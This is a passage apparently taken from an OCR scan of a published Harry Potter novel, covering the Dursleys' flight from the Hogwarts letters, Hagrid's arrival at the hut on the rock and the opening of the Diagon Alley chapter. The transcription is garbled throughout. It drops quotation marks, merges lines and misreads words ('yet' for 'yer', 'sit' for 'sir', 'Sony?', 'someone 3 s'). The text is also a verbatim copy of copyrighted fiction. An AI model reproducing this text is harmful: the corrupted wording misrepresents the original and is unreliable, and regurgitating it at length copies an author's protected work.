Uncle Vernon. + +"That's mine!" said Harry, trying to snatch it back. + +"Who'd be writing to you?" sneered Uncle Vernon, shaking the letter open +with one hand and glancing at it. His face went from red to green faster +than a set of traffic lights. And it didn't stop there. Within seconds +it was the grayish white of old porridge. + +"P-P-Petunia!" he gasped. + +Dudley tried to grab the letter to read it, but Uncle Vernon held it +high out of his reach. Aunt Petunia took it curiously and read the first +line. For a moment it looked as though she might faint. She clutched her +throat and made a choking noise. + +"Vernon! Oh my goodness -- Vernon!" + +They stared at each other, seeming to have forgotten that Harry and +Dudley were still in the room. Dudley wasn't used to being ignored. He +gave his father a sharp tap on the head with his Smelting stick. + +"I want to read that letter," he said loudly. want to read it," said +Harry furiously, "as it's mine." + +"Get out, both of you," croaked Uncle Vernon, stuffing the letter back +inside its envelope. + +Harry didn't move. + +I WANT MY LETTER!" he shouted. + +"Let me see it!" demanded Dudley. + +"OUT!" roared Uncle Vernon, and he took both Harry and Dudley by the +scruffs of their necks and threw them into the hall, slamming the +kitchen door behind them. Harry and Dudley promptly had a furious but +silent fight over who would listen at the keyhole; Dudley won, so Harry, +his glasses dangling from one ear, lay flat on his stomach to listen at +the crack between door and floor. + +"Vernon," Aunt Petunia was saying in a quivering voice, "look at the +address -- how could they possibly know where he sleeps? You don't think +they're watching the house?" + +"Watching -- spying -- might be following us," muttered Uncle Vernon +wildly. + +"But what should we do, Vernon? Should we write back? Tell them we don't +want --" + +Harry could see Uncle Vernon's shiny black shoes pacing up and down the +kitchen. + +"No," he said finally. "No, we'll ignore it. If they don't get an +answer... Yes, that's best... we won't do anything.... + +"But --" + +"I'm not having one in the house, Petunia! Didn't we swear when we took +him in we'd stamp out that dangerous nonsense?" + +That evening when he got back from work, Uncle Vernon did something he'd +never done before; he visited Harry in his cupboard. + +"Where's my letter?" said Harry, the moment Uncle Vernon had squeezed +through the door. "Who's writing to me?" + +"No one. it was addressed to you by mistake," said Uncle Vernon shortly. +"I have burned it." + +"It was not a mistake," said Harry angrily, "it had my cupboard on it." + +"SILENCE!" yelled Uncle Vernon, and a couple of spiders fell from the +ceiling. He took a few deep breaths and then forced his face into a +smile, which looked quite painful. + +"Er -- yes, Harry -- about this cupboard. Your aunt and I have been +thinking... you're really getting a bit big for it... we think it might +be nice if you moved into Dudley's second bedroom. + +"Why?" said Harry. + +"Don't ask questions!" snapped his uncle. "Take this stuff upstairs, +now." + +The Dursleys' house had four bedrooms: one for Uncle Vernon and Aunt +Petunia, one for visitors (usually Uncle Vernon's sister, Marge), one +where Dudley slept, and one where Dudley kept all the toys and things +that wouldn't fit into his first bedroom. It only took Harry one trip +upstairs to move everything he owned from the cupboard to this room. He +sat down on the bed and stared around him. Nearly everything in here was +broken. The month-old video camera was lying on top of a small, working +tank Dudley had once driven over the next door neighbor's dog; in the +corner was Dudley's first-ever television set, which he'd put his foot +through when his favorite program had been canceled; there was a large +birdcage, which had once held a parrot that Dudley had swapped at school +for a real air rifle, which was up on a shelf with the end all bent +because Dudley had sat on it. Other shelves were full of books. They +were the only things in the room that looked as though they'd never been +touched. + +From downstairs came the sound of Dudley bawling at his mother, I don't +want him in there... I need that room... make him get out...." + +Harry sighed and stretched out on the bed. Yesterday he'd have given +anything to be up here. Today he'd rather be back in his cupboard with +that letter than up here without it. + +Next morning at breakfast, everyone was rather quiet. Dudley was in +shock. He'd screamed, whacked his father with his Smelting stick, been +sick on purpose, kicked his mother, and thrown his tortoise through the +greenhouse roof, and he still didn't have his room back. Harry was +thinking about this time yesterday and bitterly wishing he'd opened the +letter in the hall. Uncle Vernon and Aunt Petunia kept looking at each +other darkly. + +When the mail arrived, Uncle Vernon, who seemed to be trying to be nice +to Harry, made Dudley go and get it. They heard him banging things with +his Smelting stick all the way down the hall. Then he shouted, "There's +another one! 'Mr. H. Potter, The Smallest Bedroom, 4 Privet Drive --'" + +With a strangled cry, Uncle Vernon leapt from his seat and ran down the +hall, Harry right behind him. Uncle Vernon had to wrestle Dudley to the +ground to get the letter from him, which was made difficult by the fact +that Harry had grabbed Uncle Vernon around the neck from behind. After a +minute of confused fighting, in which everyone got hit a lot by the +Smelting stick, Uncle Vernon straightened up, gasping for breath, with +Harry's letter clutched in his hand. + +"Go to your cupboard -- I mean, your bedroom," he wheezed at Harry. +"Dudley -- go -- just go." + +Harry walked round and round his new room. Someone knew he had moved out +of his cupboard and they seemed to know he hadn't received his first +letter. Surely that meant they'd try again? And this time he'd make sure +they didn't fail. He had a plan. + +The repaired alarm clock rang at six o'clock the next morning. Harry +turned it off quickly and dressed silently. He mustn't wake the +Dursleys. He stole downstairs without turning on any of the lights. + +He was going to wait for the postman on the corner of Privet Drive and +get the letters for number four first. His heart hammered as he crept +across the dark hall toward the front door -- + +Harry leapt into the air; he'd trodden on something big and squashy on +the doormat -- something alive! + +Lights clicked on upstairs and to his horror Harry realized that the +big, squashy something had been his uncle's face. Uncle Vernon had been +lying at the foot of the front door in a sleeping bag, clearly making +sure that Harry didn't do exactly what he'd been trying to do. He +shouted at Harry for about half an hour and then told him to go and make +a cup of tea. Harry shuffled miserably off into the kitchen and by the +time he got back, the mail had arrived, right into Uncle Vernon's lap. +Harry could see three letters addressed in green ink. + +I want --" he began, but Uncle Vernon was tearing the letters into +pieces before his eyes. Uncle Vernon didnt go to work that day. He +stayed at home and nailed up the mail slot. + +"See," he explained to Aunt Petunia through a mouthful of nails, "if +they can't deliver them they'll just give up." + +"I'm not sure that'll work, Vernon." + +"Oh, these people's minds work in strange ways, Petunia, they're not +like you and me," said Uncle Vernon, trying to knock in a nail with the +piece of fruitcake Aunt Petunia had just brought him. + +On Friday, no less than twelve letters arrived for Harry. As they +couldn't go through the mail slot they had been pushed under the door, +slotted through the sides, and a few even forced through the small +window in the downstairs bathroom. + +Uncle Vernon stayed at home again. After burning all the letters, he got +out a hammer and nails and boarded up the cracks around the front and +back doors so no one could go out. He hummed "Tiptoe Through the Tulips" +as he worked, and jumped at small noises. + +On Saturday, things began to get out of hand. Twenty-four letters to +Harry found their way into the house, rolled up and hidden inside each +of the two dozen eggs that their very confused milkman had handed Aunt +Petunia through the living room window. While Uncle Vernon made furious +telephone calls to the post office and the dairy trying to find someone +to complain to, Aunt Petunia shredded the letters in her food processor. + +"Who on earth wants to talk to you this badly?" Dudley asked Harry in +amazement. + +On Sunday morning, Uncle Vernon sat down at the breakfast table looking +tired and rather ill, but happy. + +"No post on Sundays," he reminded them cheerfully as he spread marmalade +on his newspapers, "no damn letters today --" + +Something came whizzing down the kitchen chimney as he spoke and caught +him sharply on the back of the head. Next moment, thirty or forty +letters came pelting out of the fireplace like bullets. The Dursleys +ducked, but Harry leapt into the air trying to catch one. + +"Out! OUT!" + +Uncle Vernon seized Harry around the waist and threw him into the hall. +When Aunt Petunia and Dudley had run out with their arms over their +faces, Uncle Vernon slammed the door shut. They could hear the letters +still streaming into the room, bouncing off the walls and floor. + +"That does it," said Uncle Vernon, trying to speak calmly but pulling +great tufts out of his mustache at the same time. I want you all back +here in five minutes ready to leave. We're going away. Just pack some +clothes. No arguments!" + +He looked so dangerous with half his mustache missing that no one dared +argue. Ten minutes later they had wrenched their way through the +boarded-up doors and were in the car, speeding toward the highway. +Dudley was sniffling in the back seat; his father had hit him round the +head for holding them up while he tried to pack his television, VCR, and +computer in his sports bag. + +They drove. And they drove. Even Aunt Petunia didn't dare ask where they +were going. Every now and then Uncle Vernon would take a sharp turn and +drive in the opposite direction for a while. "Shake'em off... shake 'em +off," he would mutter whenever he did this. + +They didn't stop to eat or drink all day. By nightfall Dudley was +howling. He'd never had such a bad day in his life. He was hungry, he'd +missed five television programs he'd wanted to see, and he'd never gone +so long without blowing up an alien on his computer. + +Uncle Vernon stopped at last outside a gloomy-looking hotel on the +outskirts of a big city. Dudley and Harry shared a room with twin beds +and damp, musty sheets. Dudley snored but Harry stayed awake, sitting on +the windowsill, staring down at the lights of passing cars and +wondering.... + +They ate stale cornflakes and cold tinned tomatoes on toast for +breakfast the next day. They had just finished when the owner of the +hotel came over to their table. + +"'Scuse me, but is one of you Mr. H. Potter? Only I got about an 'undred +of these at the front desk." + +She held up a letter so they could read the green ink address: + +Mr. H. Potter + +Room 17 + +Railview Hotel + +Cokeworth + +Harry made a grab for the letter but Uncle Vernon knocked his hand out +of the way. The woman stared. + +"I'll take them," said Uncle Vernon, standing up quickly and following +her from the dining room. + +Wouldn't it be better just to go home, dear?" Aunt Petunia suggested +timidly, hours later, but Uncle Vernon didn't seem to hear her. Exactly +what he was looking for, none of them knew. He drove them into the +middle of a forest, got out, looked around, shook his head, got back in +the car, and off they went again. The same thing happened in the middle +of a plowed field, halfway across a suspension bridge, and at the top of +a multilevel parking garage. + +"Daddy's gone mad, hasn't he?" Dudley asked Aunt Petunia dully late that +afternoon. Uncle Vernon had parked at the coast, locked them all inside +the car, and disappeared. + +It started to rain. Great drops beat on the roof of the car. Dud ley +sniveled. + +"It's Monday," he told his mother. "The Great Humberto's on tonight. I +want to stay somewhere with a television. " + +Monday. This reminded Harry of something. If it was Monday -- and you +could usually count on Dudley to know the days the week, because of +television -- then tomorrow, Tuesday, was Harry's eleventh birthday. Of +course, his birthdays were never exactly fun -- last year, the Dursleys +had given him a coat hanger and a pair of Uncle Vernon's old socks. +Still, you weren't eleven every day. + +Uncle Vernon was back and he was smiling. He was also carrying a long, +thin package and didn't answer Aunt Petunia when she asked what he'd +bought. + +"Found the perfect place!" he said. "Come on! Everyone out!" + +It was very cold outside the car. Uncle Vernon was pointing at what +looked like a large rock way out at sea. Perched on top of the rock was +the most miserable little shack you could imagine. One thing was +certain, there was no television in there. + +"Storm forecast for tonight!" said Uncle Vernon gleefully, clapping his +hands together. "And this gentleman's kindly agreed to lend us his +boat!" + +A toothless old man came ambling up to them, pointing, with a rather +wicked grin, at an old rowboat bobbing in the iron-gray water below +them. + +"I've already got us some rations," said Uncle Vernon, "so all aboard!" + +It was freezing in the boat. Icy sea spray and rain crept down their +necks and a chilly wind whipped their faces. After what seemed like +hours they reached the rock, where Uncle Vernon, slipping and sliding, +led the way to the broken-down house. + +The inside was horrible; it smelled strongly of seaweed, the wind +whistled through the gaps in the wooden walls, and the fireplace was +damp and empty. There were only two rooms. + +Uncle Vernon's rations turned out to be a bag of chips each and four +bananas. He tried to start a fire but the empty chip bags just smoked +and shriveled up. + +"Could do with some of those letters now, eh?" he said cheerfully. + +He was in a very good mood. Obviously he thought nobody stood a chance +of reaching them here in a storm to deliver mail. Harry privately +agreed, though the thought didn't cheer him up at all. + +As night fell, the promised storm blew up around them. Spray from the +high waves splattered the walls of the hut and a fierce wind rattled the +filthy windows. Aunt Petunia found a few moldy blankets in the second +room and made up a bed for Dudley on the moth-eaten sofa. She and Uncle +Vernon went off to the lumpy bed next door, and Harry was left to find +the softest bit of floor he could and to curl up under the thinnest, +most ragged blanket. + +The storm raged more and more ferociously as the night went on. Harry +couldn't sleep. He shivered and turned over, trying to get comfortable, +his stomach rumbling with hunger. Dudley's snores were drowned by the +low rolls of thunder that started near midnight. The lighted dial of +Dudley's watch, which was dangling over the edge of the sofa on his fat +wrist, told Harry he'd be eleven in ten minutes' time. He lay and +watched his birthday tick nearer, wondering if the Dursleys would +remember at all, wondering where the letter writer was now. + +Five minutes to go. Harry heard something creak outside. He hoped the +roof wasn't going to fall in, although he might be warmer if it did. +Four minutes to go. Maybe the house in Privet Drive would be so full of +letters when they got back that he'd be able to steal one somehow. + +Three minutes to go. Was that the sea, slapping hard on the rock like +that? And (two minutes to go) what was that funny crunching noise? Was +the rock crumbling into the sea? + +One minute to go and he'd be eleven. Thirty seconds... twenty ... ten... +nine -- maybe he'd wake Dudley up, just to annoy him -- three... two... +one... + +BOOM. + +The whole shack shivered and Harry sat bolt upright, staring at the +door. Someone was outside, knocking to come in. + + +CHAPTER FOUR + +THE KEEPER OF THE KEYS + +BOOM. They knocked again. Dudley jerked awake. "Where's the cannon?" he +said stupidly. + +There was a crash behind them and Uncle Vernon came skidding into the +room. He was holding a rifle in his hands -- now they knew what had been +in the long, thin package he had brought with them. + +"Who's there?" he shouted. "I warn you -- I'm armed!" + +There was a pause. Then -- + +SMASH! + +The door was hit with such force that it swung clean off its hinges and +with a deafening crash landed flat on the floor. + +A giant of a man was standing in the doorway. His face was almost +completely hidden by a long, shaggy mane of hair and a wild, tangled +beard, but you could make out his eyes, glinting like black beetles +under all the hair. + +The giant squeezed his way into the hut, stooping so that his head just +brushed the ceiling. He bent down, picked up the door, and fitted it +easily back into its frame. The noise of the storm outside dropped a +little. He turned to look at them all. + +"Couldn't make us a cup o' tea, could yeh? It's not been an easy +journey..." + +He strode over to the sofa where Dudley sat frozen with fear. + +"Budge up, yeh great lump," said the stranger. + +Dudley squeaked and ran to hide behind his mother, who was crouching, +terrified, behind Uncle Vernon. + +"An' here's Harry!" said the giant. + +Harry looked up into the fierce, wild, shadowy face and saw that the +beetle eyes were crinkled in a smile. + +"Las' time I saw you, you was only a baby," said the giant. "Yeh look a +lot like yet dad, but yeh've got yet mom's eyes." + +Uncle Vernon made a funny rasping noise. + +I demand that you leave at once, sit!" he said. "You are breaking and +entering!" + +"Ah, shut up, Dursley, yeh great prune," said the giant; he reached over +the back of the sofa, jerked the gun out of Uncle Vernon's hands, bent +it into a knot as easily as if it had been made of rubber, and threw it +into a corner of the room. + +Uncle Vernon made another funny noise, like a mouse being trodden on. + +"Anyway -- Harry," said the giant, turning his back on the Dursleys, "a +very happy birthday to yeh. Got summat fer yeh here -- I mighta sat on +it at some point, but it'll taste all right." + +From an inside pocket of his black overcoat he pulled a slightly +squashed box. Harry opened it with trembling fingers. Inside was a +large, sticky chocolate cake with Happy Birthday Harry written on it in +green icing. + +Harry looked up at the giant. He meant to say thank you, but the words +got lost on the way to his mouth, and what he said instead was, "Who are +you?" + +The giant chuckled. + +"True, I haven't introduced meself. Rubeus Hagrid, Keeper of Keys and +Grounds at Hogwarts." + +He held out an enormous hand and shook Harry's whole arm. + +"What about that tea then, eh?" he said, rubbing his hands together. +"I'd not say no ter summat stronger if yeh've got it, mind." + +His eyes fell on the empty grate with the shriveled chip bags in it and +he snorted. He bent down over the fireplace; they couldn't see what he +was doing but when he drew back a second later, there was a roaring fire +there. It filled the whole damp hut with flickering light and Harry felt +the warmth wash over him as though he'd sunk into a hot bath. + +The giant sat back down on the sofa, which sagged under his weight, and +began taking all sorts of things out of the pockets of his coat: a +copper kettle, a squashy package of sausages, a poker, a teapot, several +chipped mugs, and a bottle of some amber liquid that he took a swig from +before starting to make tea. Soon the hut was full of the sound and +smell of sizzling sausage. Nobody said a thing while the giant was +working, but as he slid the first six fat, juicy, slightly burnt +sausages from the poker, Dudley fidgeted a little. Uncle Vernon said +sharply, "Don't touch anything he gives you, Dudley." + +The giant chuckled darkly. + +"Yet great puddin' of a son don' need fattenin' anymore, Dursley, don' +worry." + +He passed the sausages to Harry, who was so hungry he had never tasted +anything so wonderful, but he still couldn't take his eyes off the +giant. Finally, as nobody seemed about to explain anything, he said, +"I'm sorry, but I still don't really know who you are." + +The giant took a gulp of tea and wiped his mouth with the back of his +hand. + +"Call me Hagrid," he said, "everyone does. An' like I told yeh, I'm +Keeper of Keys at Hogwarts -- yeh'll know all about Hogwarts, o' course. + +"Er -- no," said Harry. + +Hagrid looked shocked. + +"Sorry," Harry said quickly. + +"Sony?" barked Hagrid, turning to stare at the Dursleys, who shrank back +into the shadows. "It' s them as should be sorry! I knew yeh weren't +gettin' yer letters but I never thought yeh wouldn't even know abou' +Hogwarts, fer cryin' out loud! Did yeh never wonder where yet parents +learned it all?" + +"All what?" asked Harry. + +"ALL WHAT?" Hagrid thundered. "Now wait jus' one second!" + +He had leapt to his feet. In his anger he seemed to fill the whole hut. +The Dursleys were cowering against the wall. + +"Do you mean ter tell me," he growled at the Dursleys, "that this boy -- +this boy! -- knows nothin' abou' -- about ANYTHING?" + +Harry thought this was going a bit far. He had been to school, after +all, and his marks weren't bad. + +"I know some things," he said. "I can, you know, do math and stuff." But +Hagrid simply waved his hand and said, "About our world, I mean. Your +world. My world. Yer parents' world." + +"What world?" + +Hagrid looked as if he was about to explode. + +"DURSLEY!" he boomed. + +Uncle Vernon, who had gone very pale, whispered something that sounded +like "Mimblewimble." Hagrid stared wildly at Harry. + +"But yeh must know about yet mom and dad," he said. "I mean, they're +famous. You're famous." + +"What? My -- my mom and dad weren't famous, were they?" + +"Yeh don' know... yeh don' know..." Hagrid ran his fingers through his +hair, fixing Harry with a bewildered stare. + +"Yeh don' know what yeh are?" he said finally. + +Uncle Vernon suddenly found his voice. + +"Stop!" he commanded. "Stop right there, sit! I forbid you to tell the +boy anything!" + +A braver man than Vernon Dursley would have quailed under the furious +look Hagrid now gave him; when Hagrid spoke, his every syllable trembled +with rage. + +"You never told him? Never told him what was in the letter Dumbledore +left fer him? I was there! I saw Dumbledore leave it, Dursley! An' +you've kept it from him all these years?" + +"Kept what from me?" said Harry eagerly. + +"STOP! I FORBID YOU!" yelled Uncle Vernon in panic. + +Aunt Petunia gave a gasp of horror. + +"Ah, go boil yet heads, both of yeh," said Hagrid. "Harry -- yet a +wizard." + +There was silence inside the hut. Only the sea and the whistling wind +could be heard. + +"-- a what?" gasped Harry. + +"A wizard, o' course," said Hagrid, sitting back down on the sofa, which +groaned and sank even lower, "an' a thumpin' good'un, I'd say, once +yeh've been trained up a bit. With a mum an' dad like yours, what else +would yeh be? An' I reckon it's abou' time yeh read yer letter." + +Harry stretched out his hand at last to take the yellowish envelope, +addressed in emerald green to Mr. H. Potter, The Floor, Hut-on-the-Rock, +The Sea. He pulled out the letter and read: + +HOGWARTS SCHOOL of WITCHCRAFT and WIZARDRY + +Headmaster: ALBUS DUMBLEDORE + +(Order of Merlin, First Class, Grand Sorc., Chf. Warlock, Supreme +Mugwump, International Confed. of Wizards) + +Dear Mr. Potter, + +We are pleased to inform you that you have been accepted at Hogwarts +School of Witchcraft and Wizardry. Please find enclosed a list of all +necessary books and equipment. + +Term begins on September 1. We await your owl by no later than July 31. +Yours sincerely, + +Minerva McGonagall, + +Deputy Headmistress + +Questions exploded inside Harry's head like fireworks and he couldn't +decide which to ask first. After a few minutes he stammered, "What does +it mean, they await my owl?" + +"Gallopin' Gorgons, that reminds me," said Hagrid, clapping a hand to +his forehead with enough force to knock over a cart horse, and from yet +another pocket inside his overcoat he pulled an owl -- a real, live, +rather ruffled-looking owl -- a long quill, and a roll of parchment. +With his tongue between his teeth he scribbled a note that Harry could +read upside down: + +Dear Professor Dumbledore, + +Given Harry his letter. + +Taking him to buy his things tomorrow. + +Weather's horrible. Hope you're Well. + +Hagrid + +Hagrid rolled up the note, gave it to the owl, which clamped it in its +beak, went to the door, and threw the owl out into the storm. Then he +came back and sat down as though this was as normal as talking on the +telephone. + +Harry realized his mouth was open and closed it quickly. + +"Where was I?" said Hagrid, but at that moment, Uncle Vernon, still +ashen-faced but looking very angry, moved into the firelight. + +"He's not going," he said. + +Hagrid grunted. + +"I'd like ter see a great Muggle like you stop him," he said. + +"A what?" said Harry, interested. + +"A Muggle," said Hagrid, "it's what we call nonmagic folk like thern. +An' it's your bad luck you grew up in a family o' the biggest Muggles I +ever laid eyes on." + +"We swore when we took him in we'd put a stop to that rubbish," said +Uncle Vernon, "swore we'd stamp it out of him! Wizard indeed!" + +"You knew?" said Harry. "You knew I'm a -- a wizard?" + +"Knew!" shrieked Aunt Petunia suddenly. "Knew! Of course we knew! How +could you not be, my dratted sister being what she was? Oh, she got a +letter just like that and disappeared off to that-that school-and came +home every vacation with her pockets full of frog spawn, turning teacups +into rats. I was the only one who saw her for what she was -- a freak! +But for my mother and father, oh no, it was Lily this and Lily that, +they were proud of having a witch in the family!" + +She stopped to draw a deep breath and then went ranting on. It seemed +she had been wanting to say all this for years. + +"Then she met that Potter at school and they left and got married and +had you, and of course I knew you'd be just the same, just as strange, +just as -- as -- abnormal -- and then, if you please, she went and got +herself blown up and we got landed with you!" + +Harry had gone very white. As soon as he found his voice he said, "Blown +up? You told me they died in a car crash!" + +"CAR CRASH!" roared Hagrid, jumping up so angrily that the Dursleys +scuttled back to their corner. "How could a car crash kill Lily an' +James Potter? It's an outrage! A scandal! Harry Potter not knowin' his +own story when every kid in our world knows his name!" "But why? What +happened?" Harry asked urgently. + +The anger faded from Hagrid's face. He looked suddenly anxious. + +"I never expected this," he said, in a low, worried voice. "I had no +idea, when Dumbledore told me there might be trouble gettin' hold of +yeh, how much yeh didn't know. Ah, Harry, I don' know if I'm the right +person ter tell yeh -- but someone 3 s gotta -- yeh can't go off ter +Hogwarts not knowin'." + +He threw a dirty look at the Dursleys. + +"Well, it's best yeh know as much as I can tell yeh -- mind, I can't +tell yeh everythin', it's a great myst'ry, parts of it...." + +He sat down, stared into the fire for a few seconds, and then said, "It +begins, I suppose, with -- with a person called -- but it's incredible +yeh don't know his name, everyone in our world knows --" + +"Who? " + +"Well -- I don' like sayin' the name if I can help it. No one does." + +"Why not?" + +"Gulpin' gargoyles, Harry, people are still scared. Blimey, this is +difficult. See, there was this wizard who went... bad. As bad as you +could go. Worse. Worse than worse. His name was..." + +Hagrid gulped, but no words came out. + +"Could you write it down?" Harry suggested. + +"Nah -can't spell it. All right -- Voldemort. " Hagrid shuddered. "Don' +make me say it again. Anyway, this -- this wizard, about twenty years +ago now, started lookin' fer followers. Got 'em, too -- some were +afraid, some just wanted a bit o' his power, 'cause he was gettin' +himself power, all right. Dark days, Harry. Didn't know who ter trust, +didn't dare get friendly with strange wizards or witches... terrible +things happened. He was takin' over. 'Course, some stood up to him -- +an' he killed 'em. Horribly. One o' the only safe places left was +Hogwarts. Reckon Dumbledore's the only one You-Know-Who was afraid of. +Didn't dare try takin' the school, not jus' then, anyway. + +"Now, yer mum an' dad were as good a witch an' wizard as I ever knew. +Head boy an' girl at Hogwarts in their day! Suppose the myst'ry is why +You-Know-Who never tried to get 'em on his side before... probably knew +they were too close ter Dumbledore ter want anythin' ter do with the +Dark Side. + +"Maybe he thought he could persuade 'em... maybe he just wanted 'em +outta the way. All anyone knows is, he turned up in the village where +you was all living, on Halloween ten years ago. You was just a year old. +He came ter yer house an' -- an' --" + +Hagrid suddenly pulled out a very dirty, spotted handkerchief and blew +his nose with a sound like a foghorn. + +"Sorry," he said. "But it's that sad -- knew yer mum an' dad, an' nicer +people yeh couldn't find -- anyway..." + +"You-Know-Who killed 'em. An' then -- an' this is the real myst'ry of +the thing -- he tried to kill you, too. Wanted ter make a clean job of +it, I suppose, or maybe he just liked killin' by then. But he couldn't +do it. Never wondered how you got that mark on yer forehead? That was no +ordinary cut. That's what yeh get when a Powerful, evil curse touches +yeh -- took care of yer mum an' dad an' yer house, even -- but it didn't +work on you, an' that's why yer famous, Harry. No one ever lived after +he decided ter kill 'em, no one except you, an' he'd killed some o' the +best witches an' wizards of the age -- the McKinnons, the Bones, the +Prewetts -- an' you was only a baby, an' you lived." + +Something very painful was going on in Harry's mind. As Hagrid's story +came to a close, he saw again the blinding flash of green light, more +clearly than he had ever remembered it before -- and he remembered +something else, for the first time in his life: a high, cold, cruel +laugh. + +Hagrid was watching him sadly. + +"Took yeh from the ruined house myself, on Dumbledore's orders. Brought +yeh ter this lot..." + +"Load of old tosh," said Uncle Vernon. Harry jumped; he had almost +forgotten that the Dursleys were there. Uncle Vernon certainly seemed to +have got back his courage. He was glaring at Hagrid and his fists were +clenched. + +"Now, you listen here, boy," he snarled, "I accept there's something +strange about you, probably nothing a good beating wouldn't have cured +-- and as for all this about your parents, well, they were weirdos, no +denying it, and the world's better off without them in my opinion -- +asked for all they got, getting mixed up with these wizarding types -- +just what I expected, always knew they'd come to a sticky end --" + +But at that moment, Hagrid leapt from the sofa and drew a battered pink +umbrella from inside his coat. Pointing this at Uncle Vernon like a +sword, he said, "I'm warning you, Dursley -I'm warning you -- one more +word... " + +In danger of being speared on the end of an umbrella by a bearded giant, +Uncle Vernon's courage failed again; he flattened himself against the +wall and fell silent. + +"That's better," said Hagrid, breathing heavily and sitting back down on +the sofa, which this time sagged right down to the floor. + +Harry, meanwhile, still had questions to ask, hundreds of them. + +"But what happened to Vol--, sorry -- I mean, You-Know-Who?" + +"Good question, Harry. Disappeared. Vanished. Same night he tried ter +kill you. Makes yeh even more famous. That's the biggest myst'ry, see... +he was gettin' more an' more powerful -- why'd he go? + +"Some say he died. Codswallop, in my opinion. Dunno if he had enough +human left in him to die. Some say he's still out there, bidin' his +time, like, but I don' believe it. People who was on his side came back +ter ours. Some of 'em came outta kinda trances. Don~ reckon they +could've done if he was comin' back. + +"Most of us reckon he's still out there somewhere but lost his powers. +Too weak to carry on. 'Cause somethin' about you finished him, Harry. +There was somethin' goin' on that night he hadn't counted on -- I dunno +what it was, no one does -- but somethin' about you stumped him, all +right." + +Hagrid looked at Harry with warmth and respect blazing in his eyes, but +Harry, instead of feeling pleased and proud, felt quite sure there had +been a horrible mistake. A wizard? Him? How could he possibly be? He'd +spent his life being clouted by Dudley, and bullied by Aunt Petunia and +Uncle Vernon; if he was really a wizard, why hadn't they been turned +into warty toads every time they'd tried to lock him in his cupboard? If +he'd once defeated the greatest sorcerer in the world, how come Dudley +had always been able to kick him around like a football? + +"Hagrid," he said quietly, "I think you must have made a mistake. I +don't think I can be a wizard." + +To his surprise, Hagrid chuckled. + +"Not a wizard, eh? Never made things happen when you was scared or +angry?" + +Harry looked into the fire. Now he came to think about it... every odd +thing that had ever made his aunt and uncle furious with him had +happened when he, Harry, had been upset or angry... chased by Dudley's +gang, he had somehow found himself out of their reach... dreading going +to school with that ridiculous haircut, he'd managed to make it grow +back... and the very last time Dudley had hit him, hadn't he got his +revenge, without even realizing he was doing it? Hadn't he set a boa +constrictor on him? + +Harry looked back at Hagrid, smiling, and saw that Hagrid was positively +beaming at him. + +"See?" said Hagrid. "Harry Potter, not a wizard -- you wait, you'll be +right famous at Hogwarts." + +But Uncle Vernon wasn't going to give in without a fight. + +"Haven't I told you he's not going?" he hissed. "He's going to Stonewall +High and he'll be grateful for it. I've read those letters and he needs +all sorts of rubbish -- spell books and wands and --" + +"If he wants ter go, a great Muggle like you won't stop him," growled +Hagrid. "Stop Lily an' James Potter' s son goin' ter Hogwarts! Yer mad. +His name's been down ever since he was born. He's off ter the finest +school of witchcraft and wizardry in the world. Seven years there and he +won't know himself. He'll be with youngsters of his own sort, fer a +change, an' he'll be under the greatest headmaster Hogwarts ever had +Albus Dumbled--" + +"I AM NOT PAYING FOR SOME CRACKPOT OLD FOOL To TEACH HIM MAGIC TRICKS!" +yelled Uncle Vernon. + +But he had finally gone too far. Hagrid seized his umbrella and whirled +it over his head, "NEVER," he thundered, "- INSULT- ALBUS- DUMBLEDORE- +IN- FRONT- OF- ME!" + +He brought the umbrella swishing down through the air to point at Dudley +-- there was a flash of violet light, a sound like a firecracker, a +sharp squeal, and the next second, Dudley was dancing on the spot with +his hands clasped over his fat bottom, howling in pain. When he turned +his back on them, Harry saw a curly pig's tail poking through a hole in +his trousers. + +Uncle Vernon roared. Pulling Aunt Petunia and Dudley into the other +room, he cast one last terrified look at Hagrid and slammed the door +behind them. + +Hagrid looked down at his umbrella and stroked his beard. + +"Shouldn'ta lost me temper," he said ruefully, "but it didn't work +anyway. Meant ter turn him into a pig, but I suppose he was so much like +a pig anyway there wasn't much left ter do." + +He cast a sideways look at Harry under his bushy eyebrows. + +"Be grateful if yeh didn't mention that ter anyone at Hogwarts," he +said. "I'm -- er -- not supposed ter do magic, strictly speakin'. I was +allowed ter do a bit ter follow yeh an' get yer letters to yeh an' stuff +-- one o' the reasons I was so keen ter take on the job + +"Why aren't you supposed to do magic?" asked Harry. + +"Oh, well -- I was at Hogwarts meself but I -- er -- got expelled, ter +tell yeh the truth. In me third year. They snapped me wand in half an' +everything. But Dumbledore let me stay on as gamekeeper. Great man, +Dumbledore." "Why were you expelled?" + +"It's gettin' late and we've got lots ter do tomorrow," said Hagrid +loudly. "Gotta get up ter town, get all yer books an' that." + +He took off his thick black coat and threw it to Harry. + +"You can kip under that," he said. "Don' mind if it wriggles a bit, I +think I still got a couple o' dormice in one o' the pockets." + + +CHAPTER FIVE + +DIAGON ALLEY + +Harry woke early the next morning. Although he could tell it was +daylight, he kept his eyes shut tight. + +"It was a dream, he told himself firmly. "I dreamed a giant called +Hagrid came to tell me I was going to a school for wizards. When I open +my eyes I'll be at home in my cupboard." + +There was suddenly a loud tapping noise. + +And there's Aunt Petunia knocking on the door, Harry thought, his heart +sinking. But he still didn't open his eyes. It had been such a good +dream. + +Tap. Tap. Tap. + +"All right," Harry mumbled, "I'm getting up." + +He sat up and Hagrid's heavy coat fell off him. The hut was full of +sunlight, the storm was over, Hagrid himself was asleep on the collapsed +sofa, and there was an owl rapping its claw on the window, a newspaper +held in its beak. + +Harry scrambled to his feet, so happy he felt as though a large balloon +was swelling inside him. He went straight to the window and jerked it +open. The owl swooped in and dropped the newspaper on top of Hagrid, who +didn't wake up. The owl then fluttered onto the floor and began to +attack Hagrid's coat. + +"Don't do that." + +Harry tried to wave the owl out of the way, but it snapped its beak +fiercely at him and carried on savaging the coat. + +"Hagrid!" said Harry loudly. "There's an owl + +"Pay him," Hagrid grunted into the sofa. + +"What?" + +"He wants payin' fer deliverin' the paper. Look in the pockets." +Hagrid's coat seemed to be made of nothing but pockets -- bunches of +keys, slug pellets, balls of string, peppermint humbugs, teabags... +finally, Harry pulled out a handful of strange-looking coins. + +"Give him five Knuts," said Hagrid sleepily. + +"Knuts?" + +"The little bronze ones." + +Harry counted out five little bronze coins, and the owl held out his leg +so Harry could put the money into a small leather pouch tied to it. Then +he flew off through the open window. + +Hagrid yawned loudly, sat up, and stretched. + +"Best be Off, Harry, lots ter do today, gotta get up ter London an' buy +all yer stuff fer school." + +Harry was turning over the wizard coins and looking at them. He had just +thought of something that made him feel as 